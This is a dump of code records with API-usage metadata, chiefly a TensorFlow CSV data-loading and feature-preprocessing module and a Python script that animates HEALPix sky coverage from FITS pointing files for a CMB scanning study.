"name"}, {"api_name": "cv2.cv2.drawKeypoints", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 90, "usage_type": "name"}, {"api_name": "cv2.cv2.drawKeypoints", "line_number": 91, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 91, "usage_type": "name"}, {"api_name": "cv2.cv2.imwrite", "line_number": 93, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 93, "usage_type": "name"}, {"api_name": "cv2.cv2.imwrite", "line_number": 94, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 94, "usage_type": "name"}, {"api_name": "cv2.cv2.resize", "line_number": 106, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 106, "usage_type": "name"}, {"api_name": "cv2.cv2.drawKeypoints", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 116, "usage_type": "name"}, {"api_name": "cv2.cv2.BFMatcher", "line_number": 118, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 118, "usage_type": "name"}, {"api_name": "cv2.cv2.drawMatches", "line_number": 130, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 130, "usage_type": "name"}, {"api_name": "cv2.cv2.DrawMatchesFlags_NOT_DRAW_SINGLE_POINTS", "line_number": 131, "usage_type": "attribute"}, {"api_name": "cv2.cv2", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 132, "usage_type": "call"}, {"api_name": "cv2.cv2.imwrite", "line_number": 133, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 133, "usage_type": "name"}, {"api_name": "cv2.cv2.imwrite", "line_number": 134, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 134, "usage_type": "name"}, {"api_name": "imutils.rotate_bound", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 146, "usage_type": "call"}, {"api_name": "cv2.cv2.BFMatcher", "line_number": 152, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 152, "usage_type": "name"}, {"api_name": "cv2.cv2.drawMatches", "line_number": 162, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 162, "usage_type": "name"}, {"api_name": "cv2.cv2.DrawMatchesFlags_NOT_DRAW_SINGLE_POINTS", "line_number": 163, "usage_type": "attribute"}, {"api_name": "cv2.cv2", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 164, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 164, "usage_type": "call"}, {"api_name": "cv2.cv2.drawKeypoints", "line_number": 165, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 165, "usage_type": "name"}, {"api_name": "cv2.cv2.imwrite", "line_number": 166, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 166, "usage_type": "name"}, {"api_name": "cv2.cv2.imwrite", "line_number": 167, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 167, "usage_type": "name"}, {"api_name": "cv2.cv2.imread", "line_number": 174, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 174, "usage_type": "name"}, {"api_name": "cv2.cv2.cvtColor", "line_number": 175, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 175, "usage_type": "name"}, {"api_name": "cv2.cv2.COLOR_BGR2GRAY", "line_number": 175, "usage_type": "attribute"}]}
{"seq_id": "24310541018", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2018.8.8\n\n@author: zhangjun\n\"\"\"\n\nimport sys\nsys.path.append(\"..\")\n\nimport numpy as np\nimport tensorflow as tf\nimport config.config as config\nimport utils.utils as utils\nimport json\n\nclass Data(object):\n\n    def __init__(self,\n                 data_path,\n                 data_name,\n                 batch_size,\n                 is_train_period,\n                 sep,\n                 low_freq_threshold = 0):\n\n        self.data_path = data_path\n        self.data_name = data_name\n        self.batch_size = batch_size\n        self.is_train_period = is_train_period\n        self.sep = sep\n        self.low_freq_threshold = low_freq_threshold\n\n        self.dataset = None\n        self.vocabulary_dicts = []\n        self.sequence_vocabulary_dicts = []\n\n        self.category_summary_dict = None #  key(cate name) : value(cate size)\n        self.numerical_summary_dict = None  #  statistics info for numerical columns\n        self.sequence_summary_dict = None\n\n        self.numerical_col = config.NUMERICAL_COLUMNS\n        self.onehot_col = []\n        self.embedding_col = list(zip(*config.CATEGORY_COLUMNS_FOR_EMBEDDING))[0] if len(config.CATEGORY_COLUMNS_FOR_EMBEDDING) > 0 else []\n        self.embedding_col_dict = dict(config.CATEGORY_COLUMNS_FOR_EMBEDDING)\n        self.sequence_col = config.SEQUENCE_COLUMNS\n\n    def read_dataset(self,sequence_columns = [],sequence_sep = ',',sep='\\001'):\n        \"\"\"\n        read data by using TextLineDataset and transform to dataset\n        \"\"\"\n        self.dataset = tf.data.TextLineDataset(self.data_path + self.data_name)\n\n        if self.is_train_period:        \n            # in training period we will shuffle data     \n            self.dataset = self.dataset.shuffle(5 * self.batch_size)\n\n        # do csv parse / if the file we input is not a csv file ,we need to rewrite codes below\n        self.dataset = self.dataset.map(lambda csv_row: utils.parse_csv_row(csv_row,config.HEADER,config.RECORD_DEFAULTS,sep),\n                                        num_parallel_calls = config.NUM_PARALLEL)\n        # add sequence length if there are some sequence columns \n        if len(sequence_columns) > 0:\n            for col in sequence_columns:\n                self.dataset = self.dataset.map(lambda row : utils.get_sequence_length(row,col,sequence_sep))\n\n        # batch\n        self.dataset = self.dataset.batch(self.batch_size)\n\n    def _get_vocabulary_dicts(self,category_columns,share,low_freq_threshold):\n        \"\"\"\n        read vocabulary_* files which is generated by data_summary process \n        generate vocabulary_dicts for category reindex \n        \"\"\"\n\n        # specific for word2vec start\n        if len(share) > 0 :\n            category_columns = share # just one \n        # specific for word2vec end\n\n        for i,col in enumerate(category_columns):\n            vocabularys = []\n            freq_dict = {}\n            with open(self.data_path + 'vocabulary_' + col,'r') as f:\n                for line in f.readlines():\n                    line_split = line.strip().split(',')\n                    vocabulary = line_split[0].encode('utf8')\n                    count = int(line_split[1])\n                    freq_dict[vocabulary] = count\n                    vocabularys.append(vocabulary)\n            vocabulary_dict = dict(zip(vocabularys,np.arange(1,len(vocabularys)+1).astype(np.int32)))\n            for k,v in freq_dict.items():\n                if v < low_freq_threshold:\n                    vocabulary_dict[k] = np.array([0]).astype(np.int32)[0]\n            with open(self.data_path + 'vocabulary_' + col + '_reindex','w') as f:\n                for k,v in vocabulary_dict.items():\n                    f.write(str(k.decode()) + ',' + str(v) + '\\n')\n            self.vocabulary_dicts.append(vocabulary_dict)  # keep the index 0 for oov\n        \n\n    def _get_category_summary_dict(self):\n        \"\"\"\n        read category_summary files which is generated by data_summary process \n        generate category_summary_dict for later usage like onehot and embedding\n        \"\"\"\n        with open(self.data_path + 'category_summary') as f:\n            self.category_summary_dict = json.loads(f.readline())\n\n\n    # no new col name\n    def _category_reindex(self,category_columns,share): # for embedding or onehot\n        \"\"\"\n        do category reindex \n        so we do not need to do hash on category columns\n        this can avoid using too much memory and confliction\n        \"\"\"\n        for i,col in enumerate(category_columns):\n\n            # specific for word2vec start\n            if len(share) > 0:            \n                self.dataset = self.dataset.map(lambda row : utils.category_reindex(row,col,self.vocabulary_dicts[0]),   \n                                                num_parallel_calls = config.NUM_PARALLEL)\n            # specific for word2vec end\n\n            else:\n                self.dataset = self.dataset.map(lambda row : utils.category_reindex(row,col,self.vocabulary_dicts[i]),   \n                                                num_parallel_calls = config.NUM_PARALLEL)\n\n\n    def _get_sequence_summary_dict(self):\n        \"\"\"\n        read category_summary files which is generated by data_summary process \n        generate category_summary_dict for later usage like onehot and embedding\n        \"\"\"\n        with open(self.data_path + 'sequence_summary') as f:\n            self.sequence_summary_dict = json.loads(f.readline())\n\n\n    def _get_sequence_vocabulary_dicts(self,sequence_columns,low_freq_threshold):\n        \"\"\"\n        read vocabulary_* files which is generated by data_summary process \n        generate vocabulary_dicts for category reindex \n        \"\"\"\n\n        for i,col in enumerate(sequence_columns):\n            vocabularys = []\n            freq_dict = {}\n            with open(self.data_path + 'sequence_vocabulary_' + col,'r') as f:\n                for line in f.readlines():\n                    line_split = line.strip().split(',')\n                    vocabulary = line_split[0].encode('utf8')\n                    count = int(line_split[1])\n                    freq_dict[vocabulary] = count\n                    vocabularys.append(vocabulary)\n            vocabulary_dict = dict(zip(vocabularys,np.arange(1,len(vocabularys)+1).astype(np.int32)))\n            for k,v in freq_dict.items():\n                if v < low_freq_threshold:\n                    vocabulary_dict[k] = np.array([0]).astype(np.int32)[0]\n            with open(self.data_path + 'sequence_vocabulary_' + col + '_reindex','w') as f:\n                for k,v in vocabulary_dict.items():\n                    f.write(str(k.decode()) + ',' + str(v) + '\\n')\n            self.sequence_vocabulary_dicts.append(vocabulary_dict)  # keep the index 0 for oov\n        \n\n    def _sequence2dense(self,sequence_columns,sequence_sep):\n        for col in sequence_columns:\n            self.dataset = self.dataset.map(lambda row:utils.string2dense(row,col,sequence_sep))\n\n    # no new col name\n    def _sequence_reindex(self,sequence_columns): # for embedding or onehot\n        \"\"\"\n        do category reindex \n        so we do not need to do hash on category columns\n        this can avoid using too much memory and confliction\n        \"\"\"\n        for i,col in enumerate(sequence_columns):\n            self.dataset = self.dataset.map(lambda row : utils.category_seq_reindex(row,col,self.sequence_vocabulary_dicts[i],self.batch_size),   \n                                                num_parallel_calls = config.NUM_PARALLEL)\n\n\n    # new col name\n    def _category_onehot(self,category_columns_for_onehot):\n        \"\"\"\n        \n        \"\"\"\n        for col in category_columns_for_onehot:\n            self.onehot_col.append(col + \"_onehot\")\n            self.dataset = self.dataset.map(lambda row : utils.onehot(row,col,self.category_summary_dict[col]),\n                                            num_parallel_calls = config.NUM_PARALLEL)\n\n\n    def _get_numerical_summary_dict(self):\n        with open(self.data_path + 'numerical_summary') as f:\n            self.numerical_summary_dict = json.loads(f.readline())\n\n    # new col name\n    def _numerical_transform(self,numercial_columns_for_transform):\n        for col,way in numercial_columns_for_transform:\n            self.numerical_col.append(col + '_' + way)\n            self.dataset = self.dataset.map(lambda row : utils.transform(row,col,way),\n                                            num_parallel_calls = config.NUM_PARALLEL)\n    # new col name\n    def _numerical_scale(self,numerical_columns_for_scale,type='norm'):\n        for col in numerical_columns_for_scale:    \n            if type == 'norm':\n                self.numerical_col.append(col+\"_norm_scale\")\n                self.dataset = self.dataset.map(lambda row: utils.norm_scale(row,col,self.numerical_summary_dict),\n                                                num_parallel_calls = config.NUM_PARALLEL)\n            elif type == 'maxmin':\n                self.numerical_col.append(col+\"_maxmin_scale\")\n                self.dataset = self.dataset.map(lambda row: utils.max_min_scale(row,col,self.numerical_summary_dict),\n                                                num_parallel_calls = config.NUM_PARALLEL)\n            else:\n                pass\n\n    # new col name\n    def _feature_cross(self,category_columns_for_cross):\n        for col1,col2 in category_columns_for_cross:\n            self.onehot_col.append('cross_' + col1 + \"_\" + col2)\n            self.dataset = self.dataset.map(lambda row: utils.cross_feature(row,col1,col2,self.category_summary_dict[col1] * self.category_summary_dict[col2]))\n\n    # more efficient\n    def _final(self):\n        self.dataset = self.dataset.prefetch(1)\n  \n    def get_dataset(self):\n        self.read_dataset(sequence_columns = config.SEQUENCE_COLUMNS,sequence_sep = ',',sep = self.sep)\n\n        if len(config.CATEGORY_COLUMNS) > 0:\n            self._get_vocabulary_dicts(config.CATEGORY_COLUMNS,config.SHARE_EMBEDDING_COLUMNS,self.low_freq_threshold)\n            self._get_category_summary_dict() \n\n        if len(config.SEQUENCE_COLUMNS) > 0:\n            self._get_sequence_vocabulary_dicts(config.SEQUENCE_COLUMNS,self.low_freq_threshold)\n            self._get_sequence_summary_dict()\n            self._sequence2dense(config.SEQUENCE_COLUMNS,',')\n            self._sequence_reindex(config.SEQUENCE_COLUMNS)\n\n        if len(config.CATEGORY_COLUMNS_FOR_CROSS) > 0:\n            self._feature_cross(config.CATEGORY_COLUMNS_FOR_CROSS) # must before _category_reindex\n\n        if len(config.CATEGORY_COLUMNS) > 0:\n            self._category_reindex(config.CATEGORY_COLUMNS,config.SHARE_EMBEDDING_COLUMNS)\n\n        if len(config.CATEGORY_COLUMNS_FOR_ONEHOT) > 0:\n            self._category_onehot(config.CATEGORY_COLUMNS_FOR_ONEHOT)\n\n        if len(config.NUMERICAL_COLUMNS) > 0:\n            self._get_numerical_summary_dict()\n\n        if len(config.NUMERICAL_COLUMNS_FOR_TRANSFORM) > 0 :\n            self._numerical_transform(config.NUMERICAL_COLUMNS_FOR_TRANSFORM)\n\n        if len(config.NUMERICAL_COLUMNS_FOR_SCALE) > 0:\n            self._numerical_scale(config.NUMERICAL_COLUMNS_FOR_SCALE,config.SCALE_TYPE)\n\n        self._final()\n\n\n\nif __name__ == '__main__':\n    data = Data(data_path = '../../data/',\n                 data_name = 'train_data',\n                 batch_size = 3,\n                 is_train_period = False,\n                 sep = ' ',\n                 low_freq_threshold = 0)\n\n    data.get_dataset()\n\n    dataset = data.dataset\n\n    i = dataset.make_one_shot_iterator()\n    gen = i.get_next()\n\n    sess = tf.Session()\n\n    print(sess.run(gen))\n    print(sess.run(gen))\n\n\n\n\n\n\n\n\n", "repo_name": "ZJCODE/Tensorflow-Template", "sub_path": "LowLevelAPI/code/data_process/data_loader.py", "file_name": "data_loader.py", "file_ext": "py", "file_size_in_byte": 11644, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "config.config.NUMERICAL_COLUMNS", "line_number": 42, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 42, "usage_type": "name"}, {"api_name": "config.config.CATEGORY_COLUMNS_FOR_EMBEDDING", "line_number": 44, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 44, "usage_type": "name"}, {"api_name": "config.config.CATEGORY_COLUMNS_FOR_EMBEDDING", "line_number": 45, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 45, "usage_type": "name"}, {"api_name": "config.config.SEQUENCE_COLUMNS", "line_number": 46, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 46, "usage_type": "name"}, {"api_name": "tensorflow.data.TextLineDataset", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 52, "usage_type": "attribute"}, {"api_name": "utils.utils.parse_csv_row", "line_number": 59, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 59, "usage_type": "name"}, {"api_name": "config.config.HEADER", "line_number": 59, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 59, "usage_type": "name"}, {"api_name": "config.config.RECORD_DEFAULTS", "line_number": 59, "usage_type": "attribute"}, {"api_name": "config.config.NUM_PARALLEL", "line_number": 60, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 60, "usage_type": "name"}, {"api_name": "utils.utils.get_sequence_length", "line_number": 64, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 64, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 90, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 93, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 106, "usage_type": "call"}, {"api_name": "utils.utils.category_reindex", "line_number": 120, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 120, "usage_type": "name"}, {"api_name": "config.config.NUM_PARALLEL", "line_number": 121, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 121, "usage_type": "name"}, {"api_name": "utils.utils.category_reindex", "line_number": 125, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 125, "usage_type": "name"}, {"api_name": "config.config.NUM_PARALLEL", "line_number": 126, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 126, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 154, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 157, "usage_type": "attribute"}, {"api_name": "utils.utils.string2dense", "line_number": 166, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 166, "usage_type": "name"}, {"api_name": "utils.utils.category_seq_reindex", "line_number": 176, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 176, "usage_type": "name"}, {"api_name": "config.config.NUM_PARALLEL", "line_number": 177, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 177, "usage_type": "name"}, {"api_name": "utils.utils.onehot", "line_number": 187, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 187, "usage_type": "name"}, {"api_name": "config.config.NUM_PARALLEL", "line_number": 188, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 188, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 193, "usage_type": "call"}, {"api_name": "utils.utils.transform", "line_number": 199, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 199, "usage_type": "name"}, {"api_name": "config.config.NUM_PARALLEL", "line_number": 200, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 200, "usage_type": "name"}, {"api_name": "utils.utils.norm_scale", "line_number": 206, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 206, "usage_type": "name"}, {"api_name": "config.config.NUM_PARALLEL", "line_number": 207, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 207, "usage_type": "name"}, {"api_name": "utils.utils.max_min_scale", "line_number": 210, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 210, "usage_type": "name"}, {"api_name": "config.config.NUM_PARALLEL", "line_number": 211, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 211, "usage_type": "name"}, {"api_name": "utils.utils.cross_feature", "line_number": 219, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 219, "usage_type": "name"}, {"api_name": "config.config.SEQUENCE_COLUMNS", "line_number": 226, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 226, "usage_type": "name"}, {"api_name": "config.config.CATEGORY_COLUMNS", "line_number": 228, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 228, "usage_type": "name"}, {"api_name": "config.config.CATEGORY_COLUMNS", "line_number": 229, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 229, "usage_type": "name"}, {"api_name": "config.config.SHARE_EMBEDDING_COLUMNS", "line_number": 229, "usage_type": "attribute"}, {"api_name": "config.config.SEQUENCE_COLUMNS", "line_number": 232, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 232, "usage_type": "name"}, {"api_name": "config.config.SEQUENCE_COLUMNS", "line_number": 233, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 233, "usage_type": "name"}, {"api_name": "config.config.SEQUENCE_COLUMNS", "line_number": 235, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 235, "usage_type": "name"}, {"api_name": "config.config.SEQUENCE_COLUMNS", "line_number": 236, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 236, "usage_type": "name"}, {"api_name": "config.config.CATEGORY_COLUMNS_FOR_CROSS", "line_number": 238, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 238, "usage_type": "name"}, {"api_name": "config.config.CATEGORY_COLUMNS_FOR_CROSS", "line_number": 239, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 239, "usage_type": "name"}, {"api_name": "config.config.CATEGORY_COLUMNS", "line_number": 241, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 241, "usage_type": "name"}, {"api_name": "config.config.CATEGORY_COLUMNS", "line_number": 242, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 242, "usage_type": "name"}, {"api_name": "config.config.SHARE_EMBEDDING_COLUMNS", "line_number": 242, "usage_type": "attribute"}, {"api_name": "config.config.CATEGORY_COLUMNS_FOR_ONEHOT", "line_number": 244, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 244, "usage_type": "name"}, {"api_name": "config.config.CATEGORY_COLUMNS_FOR_ONEHOT", "line_number": 245, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 245, "usage_type": "name"}, {"api_name": "config.config.NUMERICAL_COLUMNS", "line_number": 247, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 247, "usage_type": "name"}, {"api_name": "config.config.NUMERICAL_COLUMNS_FOR_TRANSFORM", "line_number": 250, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 250, "usage_type": "name"}, {"api_name": "config.config.NUMERICAL_COLUMNS_FOR_TRANSFORM", "line_number": 251, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 251, "usage_type": "name"}, {"api_name": "config.config.NUMERICAL_COLUMNS_FOR_SCALE", "line_number": 253, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 253, "usage_type": "name"}, {"api_name": "config.config.NUMERICAL_COLUMNS_FOR_SCALE", "line_number": 254, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 254, "usage_type": "name"}, {"api_name": "config.config.SCALE_TYPE", "line_number": 254, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 275, "usage_type": "call"}]}
{"seq_id": "74055318986", "text": "#!/usr/bin/env python3\n# -*- encoding: utf-8 -*-\n\nfrom typing import List, Union\nimport sys\nfrom configparser import ConfigParser, ExtendedInterpolation\nfrom collections import namedtuple\nfrom glob import glob\nimport logging as log\n\nimport click\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pylab as plt\n\nimport healpy\nimport numpy as np\n\nfrom astropy.io import fits\nfrom dipole import get_dipole_temperature\n\nDataSource = namedtuple('DataSource',\n                        ['name',\n                         'file_name_mask',\n                         'table_hdu',\n                         'time_column',\n                         'theta_column',\n                         'phi_column',\n                         'time_factor',\n                         'angle_factor',\n                         'subplot'])\n\nConfiguration = namedtuple('Configuration',\n                           ['nside',\n                            'delta_time',\n                            'number_of_frames',\n                            'show_fsky',\n                            'figure_width',\n                            'figure_height',\n                            'figure_file_name_mask',\n                            'time_measure_unit',\n                            'data_sources'])\n\n\ndef int_or_str(s: str) -> Union[int, str]:\n    '''If \"s\" contains an integer, convert it toan integer and return it. Otherwise, return s unchanged'''\n\n    try:\n        intval = int(s)\n    except ValueError:\n        return s\n\n    return intval\n\n\ndef read_configuration(conf_parser: ConfigParser) -> Configuration:\n    ''''Build a Configuration object and initialize its fields using the parameters read by the ConfigParser object'''\n    conf_sect = conf_parser['config']\n    nside = conf_sect.getint('nside', 128)\n    if not healpy.isnsideok(nside):\n        log.error('error, wrong NSIDE (%d)', nside)\n        sys.exit(1)\n\n    delta_time = conf_sect.getfloat('delta_time')\n    number_of_frames = conf_sect.getint('number_of_frames')\n    show_fsky = conf_sect.getboolean('show_fsky', True)\n    figure_width = conf_sect.getfloat('figure_width')\n    figure_height = conf_sect.getfloat('figure_height')\n    figure_file_name_mask = conf_sect.get(\n        'figure_file_name_mask', 'anim%04d.png')\n    time_measure_unit = conf_sect.get('time_measure_unit', '')\n    data_source_names = [x.strip()\n                         for x in conf_sect.get('data_sources').split(',')]\n\n    data_sources = []  # type: List[DataSource]\n    for cur_name in data_source_names:\n        source_sect = conf_parser[cur_name]\n        file_name_mask = source_sect.get('file_name_mask')\n        table_hdu = int_or_str(source_sect.get('table_hdu'))\n        time_column = int_or_str(source_sect.get('time_column'))\n        theta_column = int_or_str(source_sect.get('theta_column'))\n        phi_column = int_or_str(source_sect.get('phi_column'))\n        time_factor = source_sect.getfloat('time_factor', 1.0)\n        angle_factor = source_sect.getfloat('angle_factor', 1.0)\n        subplot = source_sect.getint('subplot', 111)\n\n        data_sources.append(DataSource(name=cur_name,\n                                       file_name_mask=file_name_mask,\n                                       table_hdu=table_hdu,\n                                       time_column=time_column,\n                                       theta_column=theta_column,\n                                       phi_column=phi_column,\n                                       time_factor=time_factor,\n                                       angle_factor=angle_factor,\n                                       subplot=subplot))\n\n    return Configuration(nside=nside,\n                         delta_time=delta_time,\n                         number_of_frames=number_of_frames,\n                         show_fsky=show_fsky,\n                         figure_width=figure_width,\n                         figure_height=figure_height,\n                         figure_file_name_mask=figure_file_name_mask,\n                         time_measure_unit=time_measure_unit,\n                         data_sources=data_sources)\n\n\nclass Pointings:\n    def __init__(self, time, pixidx):\n        self.time = time\n        self.pixidx = pixidx\n\n\ndef read_pointings(data_source: DataSource, file_name: str, nside: int):\n    log.info('reading file \"{0}\"'.format(file_name))\n    with fits.open(file_name) as f:\n        hdu = f[data_source.table_hdu]\n        time = hdu.data.field(data_source.time_column) * \\\n            data_source.time_factor\n        theta, phi = [hdu.data.field(x) * data_source.angle_factor\n                      for x in (data_source.theta_column, data_source.phi_column)]\n\n        pixidx = healpy.ang2pix(nside, theta, phi)\n\n    return Pointings(time=time, pixidx=pixidx)\n\n\nclass TodCollection:\n    def __init__(self, data_source: DataSource, nside: int):\n        self.data_source = data_source\n        self.file_names = sorted(glob(data_source.file_name_mask))\n        self.pointings = None\n        self.cur_idx = 0\n        self.first_time = None\n        self.nside = nside\n        self.map_pixels = np.zeros(healpy.nside2npix(nside))\n\n    def get_pixidx(self, start_time: float, end_time: float):\n        if (self.pointings is None) or (self.pointings.time[-1] < end_time):\n            new = read_pointings(\n                self.data_source, self.file_names[self.cur_idx], self.nside)\n\n            if self.first_time is None:\n                self.first_time = new.time[0]\n            new.time -= self.first_time\n\n            if self.pointings is not None:\n                mask = self.pointings.time >= start_time\n                self.pointings.time = np.concatenate(\n                    (self.pointings.time[mask], new.time))\n                self.pointings.pixidx = np.concatenate(\n                    (self.pointings.pixidx[mask], new.pixidx))\n            else:\n                self.pointings = new\n\n            self.cur_idx += 1\n\n        mask = (self.pointings.time >= start_time) & (\n            self.pointings.time < end_time)\n        return self.pointings.pixidx[mask]\n\n\ndef fsky(pixels):\n    '''Return the percentage of sky seen (nonzero pixels are considered to have been «seen»).'''\n\n    ones = len(pixels[pixels > 0])\n    return (100.0 * ones) / len(pixels)\n\n\n@click.command()\n@click.option('--coord', type=str, default='E',\n\t      help='Coordinate system used for pointings (\"C\": celestial, '\n\t      '\"E\": equatorial, \"G\": galactic). The default is \"E\".')\n@click.option('--save-fsky', type=str, default=None,\n              help='Save the values of f_sky for each frame in a text file')\n@click.option('--save-dipole', type=str, default=None,\n              help='Save a few parameters about the dipole signal in a text file')\n@click.argument('parameter_file')\ndef main(coord, save_fsky, save_dipole, parameter_file):\n    log.basicConfig(\n        level=log.INFO, format='[%(asctime)s %(levelname)s] %(message)s')\n\n    conf_parser = ConfigParser(interpolation=ExtendedInterpolation())\n    with open(parameter_file, 'rt') as f:\n        conf_parser.read_file(f)\n    config = read_configuration(conf_parser)\n\n    plt.figure(figsize=(config.figure_width, config.figure_height))\n    start_time = 0\n\n    collections = [TodCollection(data_source=x, nside=config.nside)\n                   for x in config.data_sources]\n    if save_fsky:\n        fsky_file = open(save_fsky, 'wt')\n    else:\n        fsky_file = None\n\n    if save_dipole:\n        dipole_file = open(save_dipole, 'wt')\n    else:\n        dipole_file = None\n\n    rotmatr = healpy.rotator.Rotator(coord=[coord, 'E']).mat\n\n    for cur_frame in range(config.number_of_frames):\n        plt.clf()\n\n        header_line = '{0:6d}\\t{1}'.format(cur_frame, start_time)\n        if fsky_file:\n            fsky_line = header_line\n        if dipole_file:\n            dipole_line = header_line\n\n        for coll in collections:\n            pixidx = coll.get_pixidx(\n                start_time, start_time + config.delta_time)\n            coll.map_pixels[pixidx] = 2\n\n            cur_fsky = fsky(coll.map_pixels)\n            if config.show_fsky:\n                title_template = '{name} ({time:.1f}, fsky={fsky:.2f})'\n            else:\n                title_template = '{name} ({time:.1f})'\n            map_title = title_template.format(name=coll.data_source.name,\n                                              time=start_time + config.delta_time * 0.5,\n                                              unit=config.time_measure_unit,\n                                              fsky=cur_fsky)\n            healpy.mollview(coll.map_pixels, title=map_title,\n                            sub=coll.data_source.subplot, cbar=False)\n\n            if fsky_file:\n                fsky_line += '\\t{0:.3f}'.format(cur_fsky)\n\n            if dipole_file:\n                dip_signal = get_dipole_temperature(\n                    np.dot(rotmatr, healpy.pix2vec(config.nside, pixidx)))\n                dipole_line += '\\t{0:.9e}\\t{1:.9e}'.format(\n                    np.min(dip_signal), np.max(dip_signal))\n\n        if fsky_file:\n            fsky_file.write(fsky_line)\n            fsky_file.write('\\n')\n\n        if dipole_file:\n            dipole_file.write(dipole_line)\n            dipole_file.write('\\n')\n\n        file_name = config.figure_file_name_mask % cur_frame\n        plt.savefig(file_name)\n        log.info('File \"{0}\" saved'.format(file_name))\n\n        for coll in collections:\n            coll.map_pixels[coll.map_pixels > 0] = 1\n\n        start_time += config.delta_time\n\n    if fsky_file:\n        fsky_file.close()\n\n    if dipole_file:\n        dipole_file.close()\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "ziotom78/cmp_scanning", "sub_path": "cmp_scanning.py", "file_name": "cmp_scanning.py", "file_ext": "py", "file_size_in_byte": 9633, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.use", "line_number": 14, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 23, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 34, "usage_type": "call"}, {"api_name": "typing.Union", 